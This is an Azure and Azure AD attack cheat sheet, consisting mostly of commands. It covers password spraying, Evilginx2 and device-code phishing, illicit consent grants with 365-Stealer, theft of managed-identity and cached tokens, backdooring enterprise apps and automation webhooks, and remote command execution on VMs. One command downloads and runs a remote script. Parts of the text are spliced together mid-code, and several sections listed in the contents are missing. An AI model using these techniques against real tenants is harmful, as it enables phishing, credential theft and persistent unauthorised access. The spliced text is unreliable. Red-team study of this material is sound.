# Cloud - Azure ## Summary * [Azure Recon Tools](#azure-recon-tools) * [Authenticating to the Microsoft Graph API in PowerShell](#authenticating-to-the-microsoft-graph-api-in-powershell) * [Graph API Refresh Token](#graph-api-refresh-token) * [Graph API Access Token](#graph-api-access-token) * [Terminology](#terminology) * [Training](#training) * [Enumeration](#enumeration) * [Enumerate valid emails](#enumerate-valid-emails) * [Enumerate Azure Subdomains](#enumerate-azure-subdomains) * [Enumerate tenant with Azure AD Powershell](#enumerate-tenant-with-azure-ad-powershell) * [Enumerate tenant with Az Powershell](#enumerate-tenant-with-az-powershell) * [Enumerate tenant with az cli](#enumerate-tenant-with-az-cli) * [Enumerate manually](#enumerate-manually) * [Enumeration methodology](#enumeration-methodology) * [Phishing with Evilginx2](#phishing-with-evilginx2) * [Illicit Consent Grant](#illicit-consent-grant) * [Register Application](#register-application) * [Configure Application](#configure-application) * [Setup 365-Stealer (Deprecated)](#setup-365-stealer-deprecated) * [Setup Vajra](#setup-vajra) * [Device Code Phish](#device-code-phish) * [Token from Managed Identity](#token-from-managed-identity) * [Azure API via Powershell](#azure-api-via-powershell) * [Azure API via Python Version](#azure-api-via-python-version) * [Get Tokens](#get-tokens) * [Use Tokens](#use-tokens) * [Refresh Tokens](#refresh-token) * [Stealing Tokens](#stealing-tokens) * [Stealing tokens from az cli](#stealing-tokens-from-az-cli) * [Stealing tokens from az powershell](#stealing-tokens-from-az-powershell) * [Add Credentials to All Enterprise Applications](#add-credentials-to-all-enterprise-applications) * [Spawn SSH for Azure Web App](#spawn-ssh-for-azure-web-app) * [Azure Storage Blob](#azure-storage-blob) * [Enumerate blobs](#enumerate-blobs) * [SAS URL](#sas-url) * [List and download blobs](#list-and-download-blobs) * [Runbook Automation](#runbook-automation) * [Create a Runbook](#create-a-runbook) * [Persistence via Automation accounts](#persistence-via-automation-accounts) * [Virtual Machine RunCommand](#virtual-machine-runcommand) * [KeyVault Secrets](#keyvault-secrets) * [Pass The Certificate](#pass--the-certificate) * [Pass The PRT](#pass-the-prt) * [Intunes Administration](#intunes-administration) * [Dynamic Group Membership](#dynamic-group-membership) * [Administrative Unit](#administrative-unit) * [Deployment Template](#deployment-template) * [Application Proxy](#application-proxy) * [Conditional Access](#conditional-access) * [Azure AD](#azure-ad) * [Azure AD vs Active Directory](#azure-ad-vs-active-directory) * [Password Spray](#password-spray) * [Convert GUID to SID](#convert-guid-to-sid) * [Azure AD Connect](#azure-ad-connect) * [Azure AD Connect - Password extraction](#azure-ad-connect---password-extraction) * [Azure AD Connect - MSOL Account's password and DCSync](#azure-ad-connect---msol-accounts-password-and-dcsync) * [Azure AD Connect - Seamless Single Sign On Silver Ticket](#azure-ad-connect---seamless-single-sign-on-silver-ticket) * [References](#references) ## Azure Recon Tools * [**BloodHoundAD/AzureHound**](https://github.com/BloodHoundAD/AzureHound) - Azure Data Exporter for BloodHound ```powershell # First, retrieve a refresh token (-r) if username/password isn't supported. # An access token (-j) isn't recommended because it can expire before the end of azurehound execution Install-Module AADInternals -Scope CurrentUser Import-Module AADInternals $rt = (Get-AADIntAccessToken -ClientId "1950a258-227b-4e31-a9cf-717495945fc2" -Resource "https://graph.microsoft.com" -PRTToken (Get-AADIntUserPRTToken) -IncludeRefreshToken $true)[1] # Second, launch azurehound collector ./azurehound -r "0.AXMAMe..." list --tenant "753a0bc5-..." -o output.json ## Connects on your Azure account using the refresh token provided and the tenant of the account ## and collects every possible objects in contoso.microsoft.com. Results are stored in json ./azurehound -r $rt --tenant "contoso.onmicrosoft.com" list -o azurehound-scan.json --tenant "contoso.microsoft.com" ## Sets configuration file with connection variables and other things (not required) ./azurehound configure ## Collects every objects on all accessible tenants using username/password and prints it to stdout ./azurehound -u "MattNelson@contoso.onmicrosoft.com" -p "MyVerySecurePassword123" --tenant "contoso.onmicrosoft.com" list ## Collects every objects on a specific tenant using username/password and stores it in json ./azurehound -u "phisheduser@contoso.onmicrosoft.com" -p "Password1" list -o initial-scan.json --tenant "contoso.onmicrosoft.com" ## Collects every objects on all tenants accessible using Service Principal secret ./azurehound -a "6b5adee8-..." -s "" --tenant "contoso.onmicrosoft.com" list ## Collects AzureAD info (all except AzureRM info) using JWT access token ./azurehound -j "ey..." --tenant "contoso.onmicrosoft.com" list az-ad ## Collects every users using refresh token ./azurehound -r "0.ARwA6Wg..." --tenant "contoso.onmicrosoft.com" list users # List of collections az-ad: Collect all information available at the AzureAD tenant level. In most tenants, all users have the ability to read all this information by default. az-rm: Collect all information available at the AzureRM subscription level. Users do not by default have read access to any of this information. apps: Collects AzureAD application registration objects. devices: Collects AzureAD devices regardless of join type. groups: Collects AzureAD security-enabled groups, both role eligible and non role eligible. key-vaults: Collects AzureRM key vaults. management-groups: Collects AzureRM management group objects resource-groups: Collects AzureRM resource group objects roles: Collects AzureAD admin role objects service-principals: Collects AzureAD service principals subscriptions: Collevts AzureRM subscriptions tenants: Collevts AzureAD tenant objects users: Collects AzureAD users, including any guest users in the target tenant. virtual-machines: Collects AzureRM virtual machines # GUI access bolt://localhost:7687 Username: neo4j Password: BloodHound # Custom Queries : https://hausec.com/2020/11/23/azurehound-cypher-cheatsheet/ # Cypher query examples: MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p MATCH (n) WHERE n.azname IS NOT NULL AND n.azname <> "" AND n.name IS NULL SET n.name = n.azname ``` * [**BloodHoundAD/BARK**](https://github.com/BloodHoundAD/BARK) - BloodHound Attack Research Kit ```ps1 . .\BARK.ps1 $MyRefreshTokenRequest = Get-AZRefreshTokenWithUsernamePassword -username "user@contoso.onmicrosoft.com" -password "MyVeryCoolPassword" -TenantID "contoso.onmicrosoft.com" $MyMSGraphToken = Get-MSGraphTokenWithRefreshToken -RefreshToken $MyRefreshTokenRequest.refresh_token -TenantID "contoso.onmicrosoft.com" $MyAADUsers = Get-AllAzureADUsers -Token $MyMSGraphToken.access_token -ShowProgress ``` * [**ROADTool**](https://github.com/dirkjanm/ROADtools) - The Azure AD exploration framework. ```powershell pipenv shell roadrecon auth [-h] [-u USERNAME] [-p PASSWORD] [-t TENANT] [-c CLIENT] [--as-app] [--device-code] [--access-token ACCESS_TOKEN] [--refresh-token REFRESH_TOKEN] [-f TOKENFILE] [--tokens-stdout] roadrecon gather [-h] [-d DATABASE] [-f TOKENFILE] [--tokens-stdin] [--mfa] roadrecon auth -u test@.onmicrosoft.com -p roadrecon gather roadrecon gui ``` * [**Azure/StormSpotter**](https://github.com/Azure/Stormspotter) - Azure Red Team tool for graphing Azure and Azure Active Directory objects ```powershell # session 1 - backend pipenv shell python ssbackend.pyz # session 2 - frontend cd C:\Tools\stormspotter\frontend\dist\spa\ quasar.cmd serve -p 9091 --history # session 3 - collector pipenv shell az login -u test@.onmicrosoft.com -p python C:\Tools\stormspotter\stormcollector\sscollector.pyz cli # Web access on http://localhost:9091 Username: neo4j Password: BloodHound Server: bolt://localhost:7687 ``` * [**Microsoft Portals**](https://msportals.io/) - Microsoft Administrator Sites * [**nccgroup/Azucar**](https://github.com/nccgroup/azucar.git) : Azucar automatically gathers a variety of configuration data and analyses all data relating to a particular subscription in order to determine security risks. ```powershell # You should use an account with at least read-permission on the assets you want to access PS> Get-ChildItem -Recurse c:\Azucar_V10 | Unblock-File PS> .\Azucar.ps1 -AuthMode UseCachedCredentials -Verbose -WriteLog -Debug -ExportTo PRINT PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 PS> .\Azucar.ps1 -ExportTo CSV,JSON,XML,EXCEL -AuthMode Certificate_Credentials -Certificate C:\AzucarTest\server.pfx -CertFilePassword MySuperP@ssw0rd! -ApplicationId 00000000-0000-0000-0000-000000000000 -TenantID 00000000-0000-0000-0000-000000000000 # resolve the TenantID for an specific username PS> .\Azucar.ps1 -ResolveTenantUserName user@company.com ``` * [**FSecureLABS/Azurite Explorer**](https://github.com/FSecureLABS/Azurite) and **Azurite Visualizer** : Enumeration and reconnaissance activities in the Microsoft Azure Cloud. ```powershell git submodule init git submodule update PS> Import-Module AzureRM PS> Import-Module AzuriteExplorer.ps1 PS> Review-AzureRmSubscription PS> Review-CustomAzureRmSubscription ``` * [**NetSPI/MicroBurst**](https://github.com/NetSPI/MicroBurst) - MicroBurst includes functions and scripts that support Azure Services discovery, weak configuration auditing, and post exploitation actions such as credential dumping ```powershell PS C:> Import-Module .\MicroBurst.psm1 PS C:> Import-Module .\Get-AzureDomainInfo.ps1 PS C:> Get-AzureDomainInfo -folder MicroBurst -Verbose ``` * [**cyberark/SkyArk**](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned Azure environment - including the Azure Shadow Admins. Require: - Read-Only permissions over Azure Directory (Tenant) - Read-Only permissions over Subscription - Require AZ and AzureAD module or administrator right ```powershell $ powershell -ExecutionPolicy Bypass -NoProfile PS C> Import-Module .\SkyArk.ps1 -force PS C> Start-AzureStealth PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AzureStealth/AzureStealth.ps1') PS C> Scan-AzureAdmins * [**hausec/PowerZure**](https://github.com/hausec/PowerZure) - PowerShell framework to assess Azure security ```powershell # Require az module ! $ ipmo .\PowerZure $ Set-Subscription -Id [idgoeshere] # Reader $ Get-Runbook, Get-AllUsers, Get-Apps, Get-Resources, Get-WebApps, Get-WebAppDetails # Contributor $ Execute-Command -OS Windows -VM Win10Test -ResourceGroup Test-RG -Command "whoami" $ Execute-MSBuild -VM Win10Test -ResourceGroup Test-RG -File "build.xml" $ Get-AllSecrets # AllAppSecrets, AllKeyVaultContents $ Get-AvailableVMDisks, Get-VMDisk # Download a virtual machine's disk # Owner $ Set-Role -Role Contributor -User test@contoso.com -Resource Win10VMTest # Administrator $ Create-Backdoor, Execute-Backdoor ``` * [**dafthack/GraphRunner**](https://github.com/dafthack/GraphRunner) - A Post-exploitation Toolset for Interacting with the Microsoft Graph API ## Authenticating to the Microsoft Graph API in PowerShell * [Microsoft Applications ID](https://learn.microsoft.com/fr-fr/troubleshoot/azure/active-directory/verify-first-party-apps-sign-in) | Name | GUID | |----------------------------|--------------------------------------| | Microsoft Azure PowerShell | 1950a258-227b-4e31-a9cf-717495945fc2 | | Microsoft Azure CLI | 04b07795-8ddb-461a-bbee-02f9e1bf7b46 | | Portail Azure | c44b4083-3bb0-49c1-b47d-974e53cbdf3c | ### Graph API Refresh Token Authenticating to the Microsoft Graph API in PowerShell ```ps1 $body = @{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "resource" = "https://graph.microsoft.com" # Microsoft Graph API } $UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" $Headers=@{} $Headers["User-Agent"] = $UserAgent $authResponse = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" ` -Headers $Headers ` -Body $body $authResponse ``` ### Graph API Access Token This request require getting the Refresh Token. ```ps1 $body=@{ "client_id" = "1950a258-227b-4e31-a9cf-717495945fc2" "grant_type" = "urn:ietf:params:oauth:grant-type:device_code" "code" = $authResponse.device_code } $Tokens = Invoke-RestMethod ` -UseBasicParsing ` -Method Post ` -Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" ` -Headers $Headers ` -Body $body $Tokens ``` ## Terminology > Basic Azure AD terminologies * **Tenant**: An instance of Azure AD and represents a single organization. * **Azure AD Directory**: Each tenant has a dedicated Directory. This is used to perform identity and access management functions for resources. * **Subscriptions**: It is used to pay for services. There can be multiple subscriptions in a Directory. * **Core Domain**: The initial domain name .onmicrosoft.com is the core domain. It is possible to define custom domain names too. ## Training * AzureGoat : A Damn Vulnerable Azure Infrastructure - https://github.com/ine-labs/AzureGoat ## Enumeration ### Enumerate valid emails > By default, O365 has a lockout policy of 10 tries, and it will lock out an account for one (1) minute. * Validate email ```powershell PS> C:\Python27\python.exe C:\Tools\o365creeper\o365creeper.py -f C:\Tools\emails.txt -o C:\Tools\validemails.txt admin@.onmicrosoft.com - VALID root@.onmicrosoft.com - INVALID test@.onmicrosoft.com - VALID contact@.onmicrosoft.com - INVALID ``` * Extract email lists with a valid credentials : https://github.com/nyxgeek/o365recon #### Password spraying ```powershell PS> . C:\Tools\MSOLSpray\MSOLSpray.ps1 PS> Invoke-MSOLSpray -UserList C:\Tools\validemails.txt -Password -Verbose ``` ### Enumerate Azure Subdomains ```powershell PS> . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureSubDomains.ps1 PS> Invoke-EnumerateAzureSubDomains -Base -Verbose Subdomain Service --------- ------- .mail.protection.outlook.com Email .onmicrosoft.com Microsoft Hosted Domain ``` ### Enumerate tenant with Azure AD Powershell ```powershell Import-Module C:\Tools\AzureAD\AzureAD.psd1 Import-Module C:\Tools\AzureADPreview\AzureADPreview.psd1 PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force PS> $creds = New-Object System.Management.Automation.PSCredential("test@.onmicrosoft.com", $passwd) PS Az> Connect-AzureAD -Credential $creds PS AzureAD> Get-AzureADUser -All $true PS AzureAD> Get-AzureADUser -All $true | select UserPrincipalName PS AzureAD> Get-AzureADGroup -All $true PS AzureAD> Get-AzureADDevice PS AzureAD> Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember PS AzureADPreview> Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName ``` ### Enumerate tenant with Az Powershell ```powershell PS> $passwd = ConvertTo-SecureString "" -AsPlainText -Force PS> $creds = New-Object System.Management.Automation.PSCredential ("test@.onmicrosoft.com", $passwd) PS Az> Connect-AzAccount -Credential $creds PS Az> Get-AzResource PS Az> Get-AzRoleAssignment -SignInName test@.onmicrosoft.com PS Az> Get-AzVM | fl PS Az> Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"} PS Az> Get-AzFunctionApp PS Az> Get-AzStorageAccount | fl PS Az> Get-AzKeyVault ``` ### Enumerate tenant with az cli ```powershell PS> az login -u test@.onmicrosoft.com -p PS> az vm list PS> az vm list --query "[].[name]" -o table PS> az webapp list PS> az functionapp list --query "[].[name]" -o table PS> az storage account list PS> az keyvault list ``` ### Enumerate manually * Federation with Azure AD or O365 ```powershell https://login.microsoftonline.com/getuserrealm.srf?login=@&xml=1 https://login.microsoftonline.com/getuserrealm.srf?login=root@.onmicrosoft.com&xml=1 ``` * Get the Tenant ID ```powershell https://login.microsoftonline.com//.well-known/openid-configuration https://login.microsoftonline.com/.onmicrosoft.com/.well-known/openid-configuration ``` ## Enumeration methodology ```powershell # Check Azure Joined PS> dsregcmd.exe /status +----------------------------------------------------------------------+ | Device State | +----------------------------------------------------------------------+ AzureAdJoined : YES EnterpriseJoined : NO DomainJoined : NO Device Name : jumpvm # Enumerate resources PS Az> Get-AzResource # Enumerate role assignments PS Az> Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/RESEARCH/providers/Microsoft.Compute/virtualMachines/` # Get info on a role PS Az> Get-AzRoleDefinition -Name "Virtual Machine Command Executor" # Get info user PS AzureAD> Get-AzureADUser -ObjectId PS AzureAD> Get-AzureADUser -ObjectId test@.onmicrosoft.com | fl * # List all groups PS AzureAD> Get-AzureADGroup -All $true # Get members of a group PS Az> Get-AzADGroup -DisplayName '' PS Az> Get-AzADGroupMember -GroupDisplayName '' | select UserPrincipalName # Get Azure AD information PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1 PS AADInternals> Get-AADIntLoginInformation -UserName admin@.onmicrosoft.com PS AADInternals> Get-AADIntTenantID -Domain .onmicrosoft.com # Get Tenant ID PS AADInternals> Invoke-AADIntReconAsOutsider -DomainName # Get all the information # Check if there is a user logged-in to az cli PS> az ad signed-in-user show # Check AppID Alternative Names/Display Name PS AzureAD> Get-AzureADServicePrincipal -All $True | ?{$_.AppId -eq ""} | fl # Get all application objects registered using the current tenant PS AzureAD> Get-AzureADApplication -All $true # Get all details about an application PS AzureAD> Get-AzureADApplication -ObjectId | fl * # List all VM's the user has access to PS Az> Get-AzVM PS Az> Get-AzVM | fl # Get all function apps PS Az> Get-AzFunctionApp # Get all webapps PS Az> Get-AzWebApp PS Az> Get-AzWebApp | select-object Name, Type, Hostnames # List all storage accounts PS Az> Get-AzStorageAccount PS Az> Get-AzStorageAccount | fl # List all keyvaults PS Az> Get-AzKeyVault ``` ## Phishing with Evilginx2 ```powershell PS C:\Tools> evilginx2 -p C:\Tools\evilginx2\phishlets : config domain username.corp : config ip 10.10.10.10 : phishlets hostname o365 login.username.corp : phishlets get-hosts o365 Create a DNS entry for login.login.username.corp and www.login.username.corp, type A, pointing to your machine # copy certificate and enable the phishing PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\ca.crt C:\Users\Username\.evilginx\crt\login.username.corp\o365.crt PS C:\Tools> Copy-Item C:\Users\Username\.evilginx\crt\private.key C:\Users\Username\.evilginx\crt\login.username.corp\o365.key : phishlets enable o365 # get the phishing URL : lures create o365 : lures get-url 0 ``` ## Illicit Consent Grant > The attacker creates an Azure-registered application that requests access to data such as contact information, email, or documents. The attacker then tricks an end user into granting consent to the application so that the attacker can gain access to the data that the target user has access to. Check if users are allowed to consent to apps: `PS AzureADPreview> (GetAzureADMSAuthorizationPolicy).PermissionGrantPolicyIdsAssignedToDefaultUserRole` * **Disable user consent** : Users cannot grant permissions to applications. * **Users can consent to apps from verified publishers or your organization, but only for permissions you select** : All users can only consent to apps that were published by a verified publisher and apps that are registered in your tenant * **Users can consent to all apps** : allows all users to consent to any permission which doesn't require admin consent, * **Custom app consent policy** ### Register Application 1. Login to https://portal.azure.com > Azure Active Directory 2. Click on **App registrations** > **New registration** 3. Enter the Name for our application 4. Under support account types select **"Accounts in any organizational directory (Any Azure AD directory - Multitenant)"** 5. Enter the Redirect URL. This URL should be pointed towards our 365-Stealer application that we will host for hosting our phishing page. Make sure the endpoint is `https://:/login/authorized`. 6. Click **Register** and save the **Application ID** ### Configure Application 1. Click on `Certificates & secrets` 2. Click on `New client secret` then enter the **Description** and click on **Add**. 3. Save the **secret**'s value. 4. Click on API permissions > Add a permission 5. Click on Microsoft Graph > **Delegated permissions** 6. Search and select the below mentioned permissions and click on Add permission * Contacts.Read * Mail.Read / Mail.ReadWrite * Mail.Send * Notes.Read.All * Mailboxsettings.ReadWrite * Files.ReadWrite.All * User.ReadBasic.All * User.Read ### Setup 365-Stealer (Deprecated) :warning: Default port for 365-Stealer phishing is 443 - Run XAMPP and start Apache - Clone 365-Stealer into `C:\xampp\htdocs\` * `git clone https://github.com/AlteredSecurity/365-Stealer.git` - Install the requirements * Python3 * PHP CLI or Xampp server * `pip install -r requirements.txt` - Enable sqlite3 (Xampp > Apache config > php.ini) and restart Apache - Edit `C:/xampp/htdocs/yourvictims/index.php` if needed - Disable IP whitelisting `$enableIpWhiteList = false;` - Go to 365-Stealer Management portal > Configuration (http://localhost:82/365-stealer/yourVictims) - **Client Id** (Mandatory): This will be the Application(Client) Id of the application that we registered. - **Client Secret** (Mandatory): Secret value from the Certificates & secrets tab that we created. - **Redirect URL** (Mandatory): Specify the redirect URL that we entered during registering the App like `https:///login/authorized` - **Macros Location**: Path of macro file that we want to inject. - **Extension in OneDrive**: We can provide file extensions that we want to download from the victims account or provide `*` to download all the files present in the victims OneDrive. The file extensions should be comma separated like txt, pdf, docx etc. - **Delay**: Delay the request by specifying time in seconds while stealing - Create a Self Signed Certificate to use HTTPS - Run the application either click on the button or run this command : `python 365-Stealer.py --run-app` - `--no-ssl`: disable HTTPS - `--port`: change the default listening port - `--token`: provide a specific token - `--refresh-token XXX --client-id YYY --client-secret ZZZ`: use a refresh token - Find the Phishing URL: go to `https://:` and click on **Read More** button or in the console. ### Setup Vajra > Vajra is a UI-based tool with multiple techniques for attacking and enumerating in the target's Azure environment. It features an intuitive web-based user interface built with the Python Flask module for a better user experience. The primary focus of this tool is to have different attacking techniques all at one place with web UI interfaces. - https://github.com/TROUBLE-1/Vajra **Mitigation**: Enable `Do not allow user consent` for applications in the "Consent and permissions menu". ## Device Code Phish Requirements: * Azure AD / Office 365 E3 Subscription Exploitation: * Import TokenTactics: `PS C:\TokenTactics> Import-Module .\TokenTactics.psd1` * Request a device code for the Azure Graph API using TokenTactics: `Get-AzureToken -Client Graph` * Replace `` in the [phishing email](https://github.com/rvrsh3ll/TokenTactics/blob/main/resources/DeviceCodePhishingEmailTemplate.oft) * Leave TokenTactics running in the PowerShell window and send the phishing email * Targeted user will follow the link to https://microsoft.com/devicelogin and complete the Device Code form * Enjoy your **Access Token** & **Refresh Token** ## Token from Managed Identity > **MSI_ENDPOINT** is an alias for **IDENTITY_ENDPOINT**, and **MSI_SECRET** is an alias for **IDENTITY_HEADER**. Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment : `env` Most of the time, you want a token for one of these resources: * https://storage.azure.com * https://vault.azure.net * https://graph.microsoft.com * https://management.azure.com ### Azure API via Powershell Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`. Then query the Azure REST API to get the **subscription ID** and more . ```powershell $Token = 'eyJ0eX..' $URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01' # $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ Method = 'GET' Uri = $URI Headers = @{ 'Authorization' = "Bearer $Token" } } (Invoke-RestMethod @RequestParams).value # List resources and check for runCommand privileges $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ func.HttpResponse: logging.info('Python HTTP trigger function processed a request.') IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT'] IDENTITY_HEADER = os.environ['IDENTITY_HEADER'] cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER) val = os.popen(cmd).read() return func.HttpResponse(val, status_code=200) ``` ### Get Tokens :warning: The lifetime of a Primary Refresh Token is 14 days! ```powershell # az cli - get tokens az account get-access-token az account get-access-token --resource-type aad-graph # or Az (Get-AzAccessToken -ResourceUrl https://graph.microsoft.com).Token # or from a managed identity using IDENTITY_HEADER and IDENTITY_ENDPOINT ``` ### Use Tokens > Tokens contain all the claims including that for MFA and Conditional Access * Az Powershell ```powershell PS C:\Tools> $token = 'eyJ0e..' PS C:\Tools> Connect-AzAccount -AccessToken $token -AccountId # Access Token and Graph Token PS C:\Tools> $token = 'eyJ0eX..' PS C:\Tools> $graphaccesstoken = 'eyJ0eX..' PS C:\Tools> Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId PS C:\Tools> Get-AzResource # ERROR: 'this.Client.SubscriptionId' cannot be null. # ---> The managed identity has no rights on any of the Azure resources. Switch to to GraphAPI ``` * AzureAD ```powershell Import-Module C:\Tools\AzureAD\AzureAD.psd1 $AADToken = 'eyJ0…' Connect-AzureAD -AadAccessToken $AADToken -TenantId -AccountId ``` ### Refresh Tokens * https://github.com/ConstantinT/Lantern ```powershell Lantern.exe cookie --derivedkey --context --prt Lantern.exe mdm --joindevice --accesstoken (or some combination from the token part) --devicename --outpfxfile Lantern.exe token --username --password Lantern.exe token --refreshtoken Lantern.exe devicekeys --pfxpath XXXX.pfx --refreshtoken (--prtcookie / ---username + --password ) ``` * https://github.com/rvrsh3ll/TokenTactics ```powershell Import-Module .\TokenTactics.psd1 CommandType Name Version Source ----------- ---- ------- ------ Function Clear-Token 0.0.1 TokenTactics Function Dump-OWAMailboxViaMSGraphApi 0.0.1 TokenTactics Function Forge-UserAgent 0.0.1 TokenTactics Function Get-AzureToken 0.0.1 TokenTactics Function Get-TenantID 0.0.1 TokenTactics Function Open-OWAMailboxInBrowser 0.0.1 TokenTactics Function Parse-JWTtoken 0.0.1 TokenTactics Function RefreshTo-AzureCoreManagementToken 0.0.1 TokenTactics Function RefreshTo-AzureManagementToken 0.0.1 TokenTactics Function RefreshTo-DODMSGraphToken 0.0.1 TokenTactics Function RefreshTo-GraphToken 0.0.1 TokenTactics Function RefreshTo-MAMToken 0.0.1 TokenTactics Function RefreshTo-MSGraphToken 0.0.1 TokenTactics Function RefreshTo-MSManageToken 0.0.1 TokenTactics Function RefreshTo-MSTeamsToken 0.0.1 TokenTactics Function RefreshTo-O365SuiteUXToken 0.0.1 TokenTactics Function RefreshTo-OfficeAppsToken 0.0.1 TokenTactics Function RefreshTo-OfficeManagementToken 0.0.1 TokenTactics Function RefreshTo-OutlookToken 0.0.1 TokenTactics Function RefreshTo-SubstrateToken 0.0.1 TokenTactics ``` ## Stealing Tokens * Get-AzurePasswords ```powershell Import-Module Microburst.psm1 Get-AzurePasswords Get-AzurePasswords -Verbose | Out-GridView ``` ### Stealing tokens from az cli * az cli stores access tokens in clear text in **accessTokens.json** in the directory `C:\Users\\.Azure` * azureProfile.json in the same directory contains information about subscriptions. ### Stealing tokens from az powershell * Az PowerShell stores access tokens in clear text in **TokenCache.dat** in the directory `C:\Users\\.Azure` * It also stores **ServicePrincipalSecret** in clear-text in **AzureRmContext.json** * Users can save tokens using `Save-AzContext` ## Add credentials to all Enterprise Applications ```powershell # Add secrets PS > . C:\Tools\Add-AzADAppSecret.ps1 PS > Add-AzADAppSecret -GraphToken $graphtoken -Verbose # Use secrets to authenticate as Service Principal PS > $password = ConvertTo-SecureString '' -AsPlainText -Force PS > $creds = New-Object System.Management.Automation.PSCredential('', $password) PS > Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant '' ``` ## Spawn SSH for Azure Web App ```powershell az webapp create-remote-connection --subscription --resource-group -n ``` ## Azure Storage Blob * Blobs - `*.blob.core.windows.net` * File Services - `*.file.core.windows.net` * Data Tables - `*.table.core.windows.net` * Queues - `*.queue.core.windows.net` ### Enumerate blobs ```powershell PS > . C:\Tools\MicroBurst\Misc\InvokeEnumerateAzureBlobs.ps1 PS > Invoke-EnumerateAzureBlobs -Base -OutputFile azureblobs.txt Found Storage Account - testsecure.blob.core.windows.net Found Storage Account - securetest.blob.core.windows.net Found Storage Account - securedata.blob.core.windows.net Found Storage Account - securefiles.blob.core.windows.net ``` ### SAS URL * Use [Storage Explorer](https://azure.microsoft.com/en-us/features/storage-explorer/) * Click on **Open Connect Dialog** in the left menu. * Select **Blob container**. * On the **Select Authentication Method** page * Select **Shared access signature (SAS)** and click on Next * Copy the URL in **Blob container SAS URL** field. :warning: You can also use `subscription`(username/password) to access storage resources such as blobs and files. ### List and download blobs ```powershell PS Az> Get-AzResource PS Az> Get-AzStorageAccount -name -ResourceGroupName PS Az> Get-AzStorageContainer -Context (Get-AzStorageAccount -name -ResourceGroupName ).context PS Az> Get-AzStorageBlobContent -Container -Context (Get-AzStorageAccount -name -ResourceGroupName ).context -Blob ``` ## Runbook Automation ### Create a Runbook ```powershell # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group az ad signed-in-user list-owned-objects # If the user is not part of an "Automation" group. # Add him to a custom group , e.g: "Automation Admins" Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose # Get the role of a user on the Automation account # Contributor or higher = Can create and execute Runbooks Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ # List hybrid workers Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName # Create a Powershell Runbook PS C:\Tools> Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose # Publish the Runbook Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose # Start the Runbook Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose ``` ### Persistence via Automation accounts * Create a new Automation Account * "Create Azure Run As account": Yes * Import a new runbook that creates an AzureAD user with Owner permissions for the subscription* * Sample runbook for this Blog located here – https://github.com/NetSPI/MicroBurst * Publish the runbook * Add a webhook to the runbook * Add the AzureAD module to the Automation account * Update the Azure Automation Modules * Assign "User Administrator" and "Subscription Owner" rights to the automation account * Eventually lose your access… * Trigger the webhook with a post request to create the new user ```powershell $uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" $AccountInfo = @(@{RequestBody=@{Username="BackdoorUsername";Password="BackdoorPassword"}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body ``` ## Virtual Machine RunCommand Requirements: * `Microsoft.Compute/virtualMachines/runCommand/action` ```powershell # Get Public IP of VM : query the network interface PS AzureAD> Get-AzVM -Name -ResourceGroupName | select -ExpandProperty NetworkProfile PS AzureAD> Get-AzNetworkInterface -Name PS AzureAD> Get-AzPublicIpAddress -Name # Execute Powershell script on the VM PS AzureAD> Invoke-AzVMRunCommand -VMName -ResourceGroupName -CommandId 'RunPowerShellScript' -ScriptPath 'C:\Tools\adduser.ps1' -Verbose # Connect via WinRM PS C:\Tools> $password = ConvertTo-SecureString '' -AsPlainText -Force PS C:\Tools> $creds = New-Object System.Management.Automation.PSCredential('username', $Password) PS C:\Tools> $sess = New-PSSession -ComputerName -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer) PS C:\Tools> Enter-PSSession $sess ``` > 